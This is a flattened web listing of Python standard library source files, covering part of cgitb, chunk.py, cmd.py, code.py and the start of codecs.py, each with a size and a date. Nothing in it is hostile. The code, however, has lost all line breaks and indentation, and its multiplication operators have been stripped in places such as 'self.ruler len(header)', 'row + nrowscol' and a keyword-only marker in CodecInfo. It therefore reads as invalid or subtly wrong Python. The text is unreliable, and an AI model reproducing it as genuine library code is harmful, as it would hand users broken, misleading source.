doc = pydoc.html.escape(doc) self.file.write('<pre>' + doc + '</pre>\n') else: self.file.write(doc + '\n') else: self.file.write('<p>A problem occurred in a Python script.\n') if self.logdir is not None: suffix = ['.txt', '.html'][self.format=="html"] (fd, path) = tempfile.mkstemp(suffix=suffix, dir=self.logdir) try: with os.fdopen(fd, 'w') as file: file.write(doc) msg = '%s contains the description of this error.' % path except: msg = 'Tried to save traceback to %s, but failed.' % path if self.format == 'html': self.file.write('<p>%s</p>\n' % msg) else: self.file.write(msg + '\n') try: self.file.flush() except: pass handler = Hook().handle def enable(display=1, logdir=None, context=5, format="html"): """Install an exception handler that formats tracebacks as HTML. The optional argument 'display' can be set to 0 to suppress sending the traceback to the browser, and 'logdir' can be set to a directory to cause tracebacks to be written to files there.""" sys.excepthook = Hook(display=display, logdir=logdir, context=context, format=format)	11.74 KB	2024-04-17 17:55
📄 chunk.py """Simple class to read IFF chunks. An IFF chunk (used in formats such as AIFF, TIFF, RMFF (RealMedia File Format)) has the following structure: +----------------+ \| ID (4 bytes) \| +----------------+ \| size (4 bytes) \| +----------------+ \| data \| \| ... \| +----------------+ The ID is a 4-byte string which identifies the type of chunk. The size field (a 32-bit value, encoded using big-endian byte order) gives the size of the whole chunk, including the 8-byte header. Usually an IFF-type file consists of one or more chunks. The proposed usage of the Chunk class defined here is to instantiate an instance at the start of each chunk and read from the instance until it reaches the end, after which a new instance can be instantiated. At the end of the file, creating a new instance will fail with an EOFError exception. Usage: while True: try: chunk = Chunk(file) except EOFError: break chunktype = chunk.getname() while True: data = chunk.read(nbytes) if not data: pass # do something with data The interface is file-like. The implemented methods are: read, close, seek, tell, isatty. Extra methods are: skip() (called by close, skips to the end of the chunk), getname() (returns the name (ID) of the chunk) The __init__ method has one required argument, a file-like object (including a chunk instance), and one optional argument, a flag which specifies whether or not chunks are aligned on 2-byte boundaries. The default is 1, i.e. aligned. """ class Chunk: def __init__(self, file, align=True, bigendian=True, inclheader=False): import struct self.closed = False self.align = align # whether to align to word (2-byte) boundaries if bigendian: strflag = '>' else: strflag = '<' self.file = file self.chunkname = file.read(4) if len(self.chunkname) < 4: raise EOFError try: self.chunksize = struct.unpack_from(strflag+'L', file.read(4))[0] except struct.error: raise EOFError from None if inclheader: self.chunksize = self.chunksize - 8 # subtract header self.size_read = 0 try: self.offset = self.file.tell() except (AttributeError, OSError): self.seekable = False else: self.seekable = True def getname(self): """Return the name (ID) of the current chunk.""" return self.chunkname def getsize(self): """Return the size of the current chunk.""" return self.chunksize def close(self): if not self.closed: try: self.skip() finally: self.closed = True def isatty(self): if self.closed: raise ValueError("I/O operation on closed file") return False def seek(self, pos, whence=0): """Seek to specified position into the chunk. Default position is 0 (start of chunk). If the file is not seekable, this will result in an error. """ if self.closed: raise ValueError("I/O operation on closed file") if not self.seekable: raise OSError("cannot seek") if whence == 1: pos = pos + self.size_read elif whence == 2: pos = pos + self.chunksize if pos < 0 or pos > self.chunksize: raise RuntimeError self.file.seek(self.offset + pos, 0) self.size_read = pos def tell(self): if self.closed: raise ValueError("I/O operation on closed file") return self.size_read def read(self, size=-1): """Read at most size bytes from the chunk. If size is omitted or negative, read until the end of the chunk. """ if self.closed: raise ValueError("I/O operation on closed file") if self.size_read >= self.chunksize: return b'' if size < 0: size = self.chunksize - self.size_read if size > self.chunksize - self.size_read: size = self.chunksize - self.size_read data = self.file.read(size) self.size_read = self.size_read + len(data) if self.size_read == self.chunksize and \ self.align and \ (self.chunksize & 1): dummy = self.file.read(1) self.size_read = self.size_read + len(dummy) return data def skip(self): """Skip the rest of the chunk. If you are not interested in the contents of the chunk, this method should be called so that the file points to the start of the next chunk. """ if self.closed: raise ValueError("I/O operation on closed file") if self.seekable: try: n = self.chunksize - self.size_read # maybe fix alignment if self.align and (self.chunksize & 1): n = n + 1 self.file.seek(n, 1) self.size_read = self.size_read + n return except OSError: pass while self.size_read < self.chunksize: n = min(8192, self.chunksize - self.size_read) dummy = self.read(n) if not dummy: raise EOFError	5.31 KB	2024-04-17 17:55
📄 cmd.py """A generic class to build line-oriented command interpreters. Interpreters constructed with this class obey the following conventions: 1. End of file on input is processed as the command 'EOF'. 2. A command is parsed out of each line by collecting the prefix composed of characters in the identchars member. 3. A command `foo' is dispatched to a method 'do_foo()'; the do_ method is passed a single argument consisting of the remainder of the line. 4. Typing an empty line repeats the last command. (Actually, it calls the method `emptyline', which may be overridden in a subclass.) 5. There is a predefined `help' method. Given an argument `topic', it calls the command `help_topic'. With no arguments, it lists all topics with defined help_ functions, broken into up to three topics; documented commands, miscellaneous help topics, and undocumented commands. 6. The command '?' is a synonym for `help'. The command '!' is a synonym for `shell', if a do_shell method exists. 7. If completion is enabled, completing commands will be done automatically, and completing of commands args is done by calling complete_foo() with arguments text, line, begidx, endidx. text is string we are matching against, all returned matches must begin with it. line is the current input line (lstripped), begidx and endidx are the beginning and end indexes of the text being matched, which could be used to provide different completion depending upon which position the argument is in. The `default' method may be overridden to intercept commands for which there is no do_ method. The `completedefault' method may be overridden to intercept completions for commands that have no complete_ method. The data member `self.ruler' sets the character used to draw separator lines in the help messages. If empty, no ruler line is drawn. It defaults to "=". If the value of `self.intro' is nonempty when the cmdloop method is called, it is printed out on interpreter startup. This value may be overridden via an optional argument to the cmdloop() method. The data members `self.doc_header', `self.misc_header', and `self.undoc_header' set the headers used for the help function's listings of documented functions, miscellaneous topics, and undocumented functions respectively. """ import string, sys __all__ = ["Cmd"] PROMPT = '(Cmd) ' IDENTCHARS = string.ascii_letters + string.digits + '_' class Cmd: """A simple framework for writing line-oriented command interpreters. These are often useful for test harnesses, administrative tools, and prototypes that will later be wrapped in a more sophisticated interface. A Cmd instance or subclass instance is a line-oriented interpreter framework. There is no good reason to instantiate Cmd itself; rather, it's useful as a superclass of an interpreter class you define yourself in order to inherit Cmd's methods and encapsulate action methods. """ prompt = PROMPT identchars = IDENTCHARS ruler = '=' lastcmd = '' intro = None doc_leader = "" doc_header = "Documented commands (type help <topic>):" misc_header = "Miscellaneous help topics:" undoc_header = "Undocumented commands:" nohelp = "* No help on %s" use_rawinput = 1 def __init__(self, completekey='tab', stdin=None, stdout=None): """Instantiate a line-oriented interpreter framework. The optional argument 'completekey' is the readline name of a completion key; it defaults to the Tab key. If completekey is not None and the readline module is available, command completion is done automatically. The optional arguments stdin and stdout specify alternate input and output file objects; if not specified, sys.stdin and sys.stdout are used. """ if stdin is not None: self.stdin = stdin else: self.stdin = sys.stdin if stdout is not None: self.stdout = stdout else: self.stdout = sys.stdout self.cmdqueue = [] self.completekey = completekey def cmdloop(self, intro=None): """Repeatedly issue a prompt, accept input, parse an initial prefix off the received input, and dispatch to action methods, passing them the remainder of the line as argument. """ self.preloop() if self.use_rawinput and self.completekey: try: import readline self.old_completer = readline.get_completer() readline.set_completer(self.complete) readline.parse_and_bind(self.completekey+": complete") except ImportError: pass try: if intro is not None: self.intro = intro if self.intro: self.stdout.write(str(self.intro)+"\n") stop = None while not stop: if self.cmdqueue: line = self.cmdqueue.pop(0) else: if self.use_rawinput: try: line = input(self.prompt) except EOFError: line = 'EOF' else: self.stdout.write(self.prompt) self.stdout.flush() line = self.stdin.readline() if not len(line): line = 'EOF' else: line = line.rstrip('\r\n') line = self.precmd(line) stop = self.onecmd(line) stop = self.postcmd(stop, line) self.postloop() finally: if self.use_rawinput and self.completekey: try: import readline readline.set_completer(self.old_completer) except ImportError: pass def precmd(self, line): """Hook method executed just before the command line is interpreted, but after the input prompt is generated and issued. """ return line def postcmd(self, stop, line): """Hook method executed just after a command dispatch is finished.""" return stop def preloop(self): """Hook method executed once when the cmdloop() method is called.""" pass def postloop(self): """Hook method executed once when the cmdloop() method is about to return. """ pass def parseline(self, line): """Parse the line into a command name and a string containing the arguments. Returns a tuple containing (command, args, line). 'command' and 'args' may be None if the line couldn't be parsed. """ line = line.strip() if not line: return None, None, line elif line[0] == '?': line = 'help ' + line[1:] elif line[0] == '!': if hasattr(self, 'do_shell'): line = 'shell ' + line[1:] else: return None, None, line i, n = 0, len(line) while i < n and line[i] in self.identchars: i = i+1 cmd, arg = line[:i], line[i:].strip() return cmd, arg, line def onecmd(self, line): """Interpret the argument as though it had been typed in response to the prompt. This may be overridden, but should not normally need to be; see the precmd() and postcmd() methods for useful execution hooks. The return value is a flag indicating whether interpretation of commands by the interpreter should stop. """ cmd, arg, line = self.parseline(line) if not line: return self.emptyline() if cmd is None: return self.default(line) self.lastcmd = line if line == 'EOF' : self.lastcmd = '' if cmd == '': return self.default(line) else: try: func = getattr(self, 'do_' + cmd) except AttributeError: return self.default(line) return func(arg) def emptyline(self): """Called when an empty line is entered in response to the prompt. If this method is not overridden, it repeats the last nonempty command entered. """ if self.lastcmd: return self.onecmd(self.lastcmd) def default(self, line): """Called on an input line when the command prefix is not recognized. If this method is not overridden, it prints an error message and returns. """ self.stdout.write('* Unknown syntax: %s\n'%line) def completedefault(self, ignored): """Method called to complete an input line when no command-specific complete_() method is available. By default, it returns an empty list. """ return [] def completenames(self, text, ignored): dotext = 'do_'+text return [a[3:] for a in self.get_names() if a.startswith(dotext)] def complete(self, text, state): """Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_<command> to get list of completions. """ if state == 0: import readline origline = readline.get_line_buffer() line = origline.lstrip() stripped = len(origline) - len(line) begidx = readline.get_begidx() - stripped endidx = readline.get_endidx() - stripped if begidx>0: cmd, args, foo = self.parseline(line) if cmd == '': compfunc = self.completedefault else: try: compfunc = getattr(self, 'complete_' + cmd) except AttributeError: compfunc = self.completedefault else: compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) try: return self.completion_matches[state] except IndexError: return None def get_names(self): # This method used to pull in base class attributes # at a time dir() didn't do it yet. return dir(self.__class__) def complete_help(self, args): commands = set(self.completenames(args)) topics = set(a[5:] for a in self.get_names() if a.startswith('help_' + args[0])) return list(commands \| topics) def do_help(self, arg): 'List available commands with "help" or detailed help with "help cmd".' if arg: # XXX check arg syntax try: func = getattr(self, 'help_' + arg) except AttributeError: try: doc=getattr(self, 'do_' + arg).__doc__ if doc: self.stdout.write("%s\n"%str(doc)) return except AttributeError: pass self.stdout.write("%s\n"%str(self.nohelp % (arg,))) return func() else: names = self.get_names() cmds_doc = [] cmds_undoc = [] help = {} for name in names: if name[:5] == 'help_': help[name[5:]]=1 names.sort() # There can be duplicates if routines overridden prevname = '' for name in names: if name[:3] == 'do_': if name == prevname: continue prevname = name cmd=name[3:] if cmd in help: cmds_doc.append(cmd) del help[cmd] elif getattr(self, name).__doc__: cmds_doc.append(cmd) else: cmds_undoc.append(cmd) self.stdout.write("%s\n"%str(self.doc_leader)) self.print_topics(self.doc_header, cmds_doc, 15,80) self.print_topics(self.misc_header, list(help.keys()),15,80) self.print_topics(self.undoc_header, cmds_undoc, 15,80) def print_topics(self, header, cmds, cmdlen, maxcol): if cmds: self.stdout.write("%s\n"%str(header)) if self.ruler: self.stdout.write("%s\n"%str(self.ruler len(header))) self.columnize(cmds, maxcol-1) self.stdout.write("\n") def columnize(self, list, displaywidth=80): """Display a list of strings as a compact set of columns. Each column is only as wide as necessary. Columns are separated by two spaces (one was not legible enough). """ if not list: self.stdout.write("<empty>\n") return nonstrings = [i for i in range(len(list)) if not isinstance(list[i], str)] if nonstrings: raise TypeError("list[i] not a string for i in %s" % ", ".join(map(str, nonstrings))) size = len(list) if size == 1: self.stdout.write('%s\n'%str(list[0])) return # Try every row count from 1 upwards for nrows in range(1, len(list)): ncols = (size+nrows-1) // nrows colwidths = [] totwidth = -2 for col in range(ncols): colwidth = 0 for row in range(nrows): i = row + nrowscol if i >= size: break x = list[i] colwidth = max(colwidth, len(x)) colwidths.append(colwidth) totwidth += colwidth + 2 if totwidth > displaywidth: break if totwidth <= displaywidth: break else: nrows = len(list) ncols = 1 colwidths = [0] for row in range(nrows): texts = [] for col in range(ncols): i = row + nrowscol if i >= size: x = "" else: x = list[i] texts.append(x) while texts and not texts[-1]: del texts[-1] for col in range(len(texts)): texts[col] = texts[col].ljust(colwidths[col]) self.stdout.write("%s\n"%str(" ".join(texts)))	14.51 KB	2024-04-17 17:55
📄 code.py """Utilities needed to emulate Python's interactive interpreter. """ # Inspired by similar code by Jeff Epler and Fredrik Lundh. import sys import traceback from codeop import CommandCompiler, compile_command __all__ = ["InteractiveInterpreter", "InteractiveConsole", "interact", "compile_command"] class InteractiveInterpreter: """Base class for InteractiveConsole. This class deals with parsing and interpreter state (the user's namespace); it doesn't deal with input buffering or prompting or input file naming (the filename is always passed in explicitly). """ def __init__(self, locals=None): """Constructor. The optional 'locals' argument specifies the dictionary in which code will be executed; it defaults to a newly created dictionary with key "__name__" set to "__console__" and key "__doc__" set to None. """ if locals is None: locals = {"__name__": "__console__", "__doc__": None} self.locals = locals self.compile = CommandCompiler() def runsource(self, source, filename="<input>", symbol="single"): """Compile and run some source in the interpreter. Arguments are as for compile_command(). One of several things can happen: 1) The input is incorrect; compile_command() raised an exception (SyntaxError or OverflowError). A syntax traceback will be printed by calling the showsyntaxerror() method. 2) The input is incomplete, and more input is required; compile_command() returned None. Nothing happens. 3) The input is complete; compile_command() returned a code object. The code is executed by calling self.runcode() (which also handles run-time exceptions, except for SystemExit). The return value is True in case 2, False in the other cases (unless an exception is raised). The return value can be used to decide whether to use sys.ps1 or sys.ps2 to prompt the next line. """ try: code = self.compile(source, filename, symbol) except (OverflowError, SyntaxError, ValueError): # Case 1 self.showsyntaxerror(filename) return False if code is None: # Case 2 return True # Case 3 self.runcode(code) return False def runcode(self, code): """Execute a code object. When an exception occurs, self.showtraceback() is called to display a traceback. All exceptions are caught except SystemExit, which is reraised. A note about KeyboardInterrupt: this exception may occur elsewhere in this code, and may not always be caught. The caller should be prepared to deal with it. """ try: exec(code, self.locals) except SystemExit: raise except: self.showtraceback() def showsyntaxerror(self, filename=None): """Display the syntax error that just occurred. This doesn't display a stack trace because there isn't one. If a filename is given, it is stuffed in the exception instead of what was there before (because Python's parser always uses "<string>" when reading from a string). The output is written by self.write(), below. """ type, value, tb = sys.exc_info() sys.last_type = type sys.last_value = value sys.last_traceback = tb if filename and type is SyntaxError: # Work hard to stuff the correct filename in the exception try: msg, (dummy_filename, lineno, offset, line) = value.args except ValueError: # Not the format we expect; leave it alone pass else: # Stuff in the right filename value = SyntaxError(msg, (filename, lineno, offset, line)) sys.last_value = value if sys.excepthook is sys.__excepthook__: lines = traceback.format_exception_only(type, value) self.write(''.join(lines)) else: # If someone has set sys.excepthook, we let that take precedence # over self.write sys.excepthook(type, value, tb) def showtraceback(self): """Display the exception that just occurred. We remove the first stack item because it is our own code. The output is written by self.write(), below. """ sys.last_type, sys.last_value, last_tb = ei = sys.exc_info() sys.last_traceback = last_tb try: lines = traceback.format_exception(ei[0], ei[1], last_tb.tb_next) if sys.excepthook is sys.__excepthook__: self.write(''.join(lines)) else: # If someone has set sys.excepthook, we let that take precedence # over self.write sys.excepthook(ei[0], ei[1], last_tb) finally: last_tb = ei = None def write(self, data): """Write a string. The base implementation writes to sys.stderr; a subclass may replace this with a different implementation. """ sys.stderr.write(data) class InteractiveConsole(InteractiveInterpreter): """Closely emulate the behavior of the interactive Python interpreter. This class builds on InteractiveInterpreter and adds prompting using the familiar sys.ps1 and sys.ps2, and input buffering. """ def __init__(self, locals=None, filename="<console>"): """Constructor. The optional locals argument will be passed to the InteractiveInterpreter base class. The optional filename argument should specify the (file)name of the input stream; it will show up in tracebacks. """ InteractiveInterpreter.__init__(self, locals) self.filename = filename self.resetbuffer() def resetbuffer(self): """Reset the input buffer.""" self.buffer = [] def interact(self, banner=None, exitmsg=None): """Closely emulate the interactive Python console. The optional banner argument specifies the banner to print before the first interaction; by default it prints a banner similar to the one printed by the real Python interpreter, followed by the current class name in parentheses (so as not to confuse this with the real interpreter -- since it's so close!). The optional exitmsg argument specifies the exit message printed when exiting. Pass the empty string to suppress printing an exit message. If exitmsg is not given or None, a default message is printed. """ try: sys.ps1 except AttributeError: sys.ps1 = ">>> " try: sys.ps2 except AttributeError: sys.ps2 = "... " cprt = 'Type "help", "copyright", "credits" or "license" for more information.' if banner is None: self.write("Python %s on %s\n%s\n(%s)\n" % (sys.version, sys.platform, cprt, self.__class__.__name__)) elif banner: self.write("%s\n" % str(banner)) more = 0 while 1: try: if more: prompt = sys.ps2 else: prompt = sys.ps1 try: line = self.raw_input(prompt) except EOFError: self.write("\n") break else: more = self.push(line) except KeyboardInterrupt: self.write("\nKeyboardInterrupt\n") self.resetbuffer() more = 0 if exitmsg is None: self.write('now exiting %s...\n' % self.__class__.__name__) elif exitmsg != '': self.write('%s\n' % exitmsg) def push(self, line): """Push a line to the interpreter. The line should not have a trailing newline; it may have internal newlines. The line is appended to a buffer and the interpreter's runsource() method is called with the concatenated contents of the buffer as source. If this indicates that the command was executed or invalid, the buffer is reset; otherwise, the command is incomplete, and the buffer is left as it was after the line was appended. The return value is 1 if more input is required, 0 if the line was dealt with in some way (this is the same as runsource()). """ self.buffer.append(line) source = "\n".join(self.buffer) more = self.runsource(source, self.filename) if not more: self.resetbuffer() return more def raw_input(self, prompt=""): """Write a prompt and read a line. The returned line does not include the trailing newline. When the user enters the EOF key sequence, EOFError is raised. The base implementation uses the built-in function input(); a subclass may replace this with a different implementation. """ return input(prompt) def interact(banner=None, readfunc=None, local=None, exitmsg=None): """Closely emulate the interactive Python interpreter. This is a backwards compatible interface to the InteractiveConsole class. When readfunc is not specified, it attempts to import the readline module to enable GNU readline if it is available. Arguments (all optional, all default to None): banner -- passed to InteractiveConsole.interact() readfunc -- if not None, replaces InteractiveConsole.raw_input() local -- passed to InteractiveInterpreter.__init__() exitmsg -- passed to InteractiveConsole.interact() """ console = InteractiveConsole(local) if readfunc is not None: console.raw_input = readfunc else: try: import readline except ImportError: pass console.interact(banner, exitmsg) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser() parser.add_argument('-q', action='store_true', help="don't print version and copyright messages") args = parser.parse_args() if args.q or sys.flags.quiet: banner = '' else: banner = None interact(banner)	10.37 KB	2024-04-17 17:55
📄 codecs.py """ codecs -- Python Codec Registry, API and helpers. Written by Marc-Andre Lemburg (mal@lemburg.com). (c) Copyright CNRI, All Rights Reserved. NO WARRANTY. """ import builtins import sys ### Registry and builtin stateless codec functions try: from _codecs import * except ImportError as why: raise SystemError('Failed to load the builtin codecs: %s' % why) __all__ = ["register", "lookup", "open", "EncodedFile", "BOM", "BOM_BE", "BOM_LE", "BOM32_BE", "BOM32_LE", "BOM64_BE", "BOM64_LE", "BOM_UTF8", "BOM_UTF16", "BOM_UTF16_LE", "BOM_UTF16_BE", "BOM_UTF32", "BOM_UTF32_LE", "BOM_UTF32_BE", "CodecInfo", "Codec", "IncrementalEncoder", "IncrementalDecoder", "StreamReader", "StreamWriter", "StreamReaderWriter", "StreamRecoder", "getencoder", "getdecoder", "getincrementalencoder", "getincrementaldecoder", "getreader", "getwriter", "encode", "decode", "iterencode", "iterdecode", "strict_errors", "ignore_errors", "replace_errors", "xmlcharrefreplace_errors", "backslashreplace_errors", "namereplace_errors", "register_error", "lookup_error"] ### Constants # # Byte Order Mark (BOM = ZERO WIDTH NO-BREAK SPACE = U+FEFF) # and its possible byte string values # for UTF8/UTF16/UTF32 output and little/big endian machines # # UTF-8 BOM_UTF8 = b'\xef\xbb\xbf' # UTF-16, little endian BOM_LE = BOM_UTF16_LE = b'\xff\xfe' # UTF-16, big endian BOM_BE = BOM_UTF16_BE = b'\xfe\xff' # UTF-32, little endian BOM_UTF32_LE = b'\xff\xfe\x00\x00' # UTF-32, big endian BOM_UTF32_BE = b'\x00\x00\xfe\xff' if sys.byteorder == 'little': # UTF-16, native endianness BOM = BOM_UTF16 = BOM_UTF16_LE # UTF-32, native endianness BOM_UTF32 = BOM_UTF32_LE else: # UTF-16, native endianness BOM = BOM_UTF16 = BOM_UTF16_BE # UTF-32, native endianness BOM_UTF32 = BOM_UTF32_BE # Old broken names (don't use in new code) BOM32_LE = BOM_UTF16_LE BOM32_BE = BOM_UTF16_BE BOM64_LE = BOM_UTF32_LE BOM64_BE = BOM_UTF32_BE ### Codec base classes (defining the API) class CodecInfo(tuple): """Codec details when looking up the codec registry""" # Private API to allow Python 3.4 to blacklist the known non-Unicode # codecs in the standard library. A more general mechanism to # reliably distinguish test encodings from other codecs will hopefully # be defined for Python 3.5 # # See http://bugs.python.org/issue19619 _is_text_encoding = True # Assume codecs are text encodings by default def __new__(cls, encode, decode, streamreader=None, streamwriter=None, incrementalencoder=None, incrementaldecoder=None, name=None, , _is_text_encoding=None): self = tuple.__new__(cls, (encode, decode, streamreader, streamwriter)) self.name = name self.encode = encode self.decode = decode self.incrementalencoder = incrementalencoder self.incrementaldecoder = incrementaldecoder self.streamwriter = streamwriter self.streamreader = streamreader if _is_text_encoding is not None: self._is_text_encoding = _is_text_encoding return self def __repr__(self): return "<%s.%s object for encoding %s at %#x>" % \ (self.__class__.__module__, self.__class__.__qualname__, self.name, id(self)) class Codec: """ Defines the interface for stateless encoders/decoders. The .encode()/.decode() methods may use different error handling schemes by providing the errors argument. These string values are predefined: 'strict' - raise a ValueError error (or a subclass) 'ignore' - ignore the character and continue with the next 'replace' - replace with a suitable replacement character; Python will use the official U+FFFD REPLACEMENT CHARACTER for the builtin Unicode codecs on decoding and '?' on encoding. 'surrogateescape' - replace with private code points U+DCnn. 'xmlcharrefreplace' - Replace with the appropriate XML character reference (only for encoding). 'backslashreplace' - Replace with backslashed escape sequences. 'namereplace' - Replace with \\N{...} escape sequences (only for encoding). The set of allowed values can be extended via register_error. """ def encode(self, input, errors='strict'): """ Encodes the object input and returns a tuple (output object, length consumed). errors defines the error handling to apply. It defaults to 'strict' handling. The method may not store state in the Codec instance. Use StreamWriter for codecs which have to keep state in order to make encoding efficient. The encoder must be able to handle zero length input and return an empty object of the output object type in this situation. """ raise NotImplementedError def decode(self, input, errors='strict'): """ Decodes the object input and returns a tuple (output object, length consumed). input must be an object which provides the bf_getreadbuf buffer slot. Python strings, buffer objects and memory mapped files are examples of objects providing this slot. errors defines the error handling to apply. It defaults to 'strict' handling. The method may not store state in the Codec instance. Use StreamReader for codecs which have to keep state in order to make decoding efficient. The decoder must be able to handle zero length input and return an empty object of the output object type in this situation. """ raise NotImplementedError class IncrementalEncoder(object): """ An IncrementalEncoder encodes an input in multiple steps. The input can be passed piece by piece to the encode() method. The IncrementalEncoder remembers the state of the encoding process between calls to encode(). """ def __init__(self, errors='strict'): """ Creates an IncrementalEncoder instance. The IncrementalEncoder may use different error handling schemes by providing the errors keyword argument. See the module docstring for a list of possible values. """ self.errors = errors self.buffer = "" def encode(self, input, final=False): """ Encodes input and returns the resulting object. """ raise NotImplementedError def reset(self): """ Resets the encoder to the initial state. """ def getstate(self): """ Return the current state of the encoder. """ return 0 def setstate(self, state): """ Set the current state of the encoder. state must have been returned by getstate(). """ class BufferedIncrementalEncoder(IncrementalEncoder): """ This subclass of IncrementalEncoder can be used as the baseclass for an incremental encoder if the encoder must keep some of the output in a buffer between calls to encode(). """ def __init__(self, errors='strict'): IncrementalEncoder.__init__(self, errors) # unencoded input that is kept between calls to encode() self.buffer = "" def _buffer_encode(self, input, errors, final): # Overwrite this method in subclasses: It must encode input # and return an (output, length consumed) tuple raise NotImplementedError def encode(self, input, final=False): # encode input (taking the buffer into account) data = self.buffer + input (result, consumed) = self._buffer_encode(data, self.errors, final) # keep unencoded input until the next call self.buffer = data[consumed:] return result def reset(self): IncrementalEncoder.reset(self) self.buffer = "" def getstate(self): return self.buffer or 0 def setstate(self, state): self.buffer = state or "" class IncrementalDecoder(object): """ An IncrementalDecoder decodes an input in multiple steps. The input can be passed piece by piece to the decode() method. The IncrementalDecoder remembers the state of the decoding process between calls to decode(). """ def __init__(self, errors='strict'): """ Create an IncrementalDecoder instance. The IncrementalDecoder may use different error handling schemes by providing the errors keyword argument. See the module docstring for a list of possible values. """ self.errors = errors def decode(self, input, final=False): """ Decode input and returns the resulting object. """ raise NotImplementedError def reset(self): """ Reset the decoder to the initial state. """ def getstate(self): """ Return the current state of the decoder. This must be a (buffered_input, additional_state_info) tuple. buffered_input must be a bytes object containing bytes that were passed to decode() that have not yet been converted. additional_state_info must be a non-negative integer representing the state of the decoder WITHOUT yet having processed the contents of buffered_input. In the initial state and after reset(), getstate() must return (b"", 0). """ return (b"", 0) def setstate(self, state): """ Set the current state of the decoder. state must have been returned by getstate(). The effect of setstate((b"", 0)) must be equivalent to reset(). """ class BufferedIncrementalDecoder(IncrementalDecoder): """ This subclass of IncrementalDecoder can be used as the baseclass for an incremental decoder if the decoder must be able to handle incomplete byte sequences. """ def __init__(self, errors='strict'): IncrementalDecoder.__init__(self, errors) # undecoded input that is kept between calls to decode() self.buffer = b"" def _buffer_decode(self, input, errors, final): # Overwrite this method in subclasses: It must decode input # and return an (output, length consumed) tuple raise NotImplementedError def decode(self, input, final=False): # decode input (taking the buffer into account) data = self.buffer + input (result, consumed) = self._buffer_decode(data, self.errors, final) # keep undecoded input until the next call self.buffer = data[consumed:] return result def reset(self): IncrementalDecoder.reset(self) self.buffer = b"" def getstate(self): # additional state info is always 0 return (self.buffer, 0) def setstate(self, state): # ignore additional state info self.buffer = state[0] # # The StreamWriter and StreamReader class provide generic working # interfaces which can be used to implement new encoding submodules # very easily. See encodings/utf_8.py for an example on how this is # done. # class StreamWriter(Codec): def __init__(self, stream, errors='strict'): """ Creates a StreamWriter instance. stream must be a file-like object open for writing. The StreamWriter may use different error handling schemes by providing the errors keyword argument. These parameters are predefined: 'strict' - raise a ValueError (or a subclass) 'ignore' - ignore the character and continue with the next 'replace'- replace with a suitable replacement character 'xmlcharrefreplace' - Replace with the appropriate XML character reference. 'backslashreplace' - Replace with backslashed escape sequences. 'namereplace' - Replace with \\N{...} escape sequences. The set of allowed parameter values can be extended via register_error. """ self.stream = stream self.errors = errors def write(self, object): """ Writes the object's contents encoded to self.stream. """ data, consumed = self.encode(object, self.errors) self.stream.write(data) def writelines(self, list): """ Writes the concatenated list of strings to the stream using .write(). """ self.write(''.join(list)) def reset(self): """ Flushes and resets the codec buffers used for keeping state. Calling this method should ensure that the data on the output is put into a clean state, that allows appending of new fresh data without having to rescan the whole stream to recover state. """ pass def seek(self, offset, whence=0): self.stream.seek(offset, whence) if whence == 0 and offset == 0: self.reset() def __getattr__(self, name, getattr=getattr): """ Inherit all other methods from the underlying stream. """ return getattr(self.stream, name) def __enter__(self): return self def __exit__(self, type, value, tb): self.stream.close() ### class StreamReader(Codec): charbuffertype = str def __init__(self, stream, errors='strict'): """ Creates a StreamReader instance. stream must be a file-like object open for reading. The StreamReader may use different error handling schemes by providing the errors keyword argument. These parameters are predefined: 'strict' - raise a ValueError (or a subclass) 'ignore' - ignore the character and continue with the next 'replace'- replace with a suitable replacement character 'backslashreplace' - Replace with backslashed escape sequences; The set of allowed parameter values can be extended via register_error. """ self.stream = stream self.errors = errors self.bytebuffer = b"" self._empty_charbuffer = self.charbuffertype() self.charbuffer = self._empty_charbuffer self.linebuffer = None def decode(self, input, errors='strict'): raise NotImplementedError def read(self, size=-1, chars=-1, firstline=False): """ Decodes data from the stream self.stream and returns the resulting object. chars indicates the number of decoded code points or bytes to return. read() will never return more data than requested, but it might return less, if there is not enough available. size indicates the approximate maximum number of decoded bytes or code points to read for decoding. The decoder can modify this setting as appropriate. The default value -1 indicates to read and decode as much as possible. size is intended to prevent having to decode huge files in one step. If firstline is true, and a UnicodeDecodeError happens after the first line terminator in the input only the first line will be returned, the rest of the input will be kept until the next call to read(). The method should use a greedy read strategy, meaning that it should read as much data as is allowed within the definition of the encoding and the given size, e.g. if optional encoding endings or state markers are available on the stream, these should be read too. """ # If we have lines cached, first merge them back into characters if self.linebuffer: self.charbuffer = self._empty_charbuffer.join(self.linebuffer) self.linebuffer = None if chars < 0: # For compatibility with other read() methods that take a # single argument chars = size # read until we get the required number of characters (if available) while True: # can the request be satisfied from the character buffer? if chars >= 0: if len(self.charbuffer) >= chars: break # we need more data if size < 0: newdata = self.stream.read() else: newdata = self.stream.read(size) # decode bytes (those remaining from the last call included) data = self.bytebuffer + newdata if not data: break try: newchars, decodedbytes = self.decode(data, self.errors) except UnicodeDecodeError as exc: if firstline: newchars, decodedbytes = \ self.decode(data[:exc.start], self.errors) lines = newchars.splitlines(keepends=True) if len(lines)<=1: raise else: raise # keep undecoded bytes until the next call self.bytebuffer = data[decodedbytes:] # put new characters in the character buffer self.charbuffer += newchars # there was no data available if not newdata: break if chars < 0: # Return everything we've got result = self.charbuffer self.charbuffer = self._empty_charbuffer else: # Return the first chars characters result = self.charbuffer[:chars] self.charbuffer = self.charbuffer[chars:] return result def readline(self, size=None, keepends=True): """ Read one line from the input stream and return the decoded data. size, if given, is passed as size argument to the read() method. """ # If we have lines cached from an earlier read, return # them unconditionally if self.linebuffer: line = self.linebuffer[0] del self.linebuffer[0] if len(self.linebuffer) == 1: # revert to charbuffer mode; we might need more data # next time self.charbuffer = self.linebuffer[0] self.linebuffer = None if not keepends: line = line.splitlines(keepends=False)[0] return line readsize = size or 72 line = self._empty_charbuffer # If size is given, we call read() only once while True: data = self.read(readsize, firstline=True) if data: # If we're at a "\r" read one extra character (which might # be a "\n") to get a proper line ending. If the stream is # temporarily exhausted we return the wrong line ending. if (isinstance(data, str) and data.endswith("\r")) or \ (isinstance(data, bytes) and data.endswith(b"\r")): data += self.read(size=1, chars=1) line += data lines = line.splitlines(keepends=True) if lines: if len(lines) > 1: # More than one line result; the first line is a full line # to return line = lines[0] del lines[0] if len(lines) > 1: # cache the remaining lines lines[-1] += self.charbuffer self.linebuffer = lines self.charbuffer = None else: # only one remaining line, put it back into charbuffer self.charbuffer = lines[0] + self.charbuffer if not keepends: line = 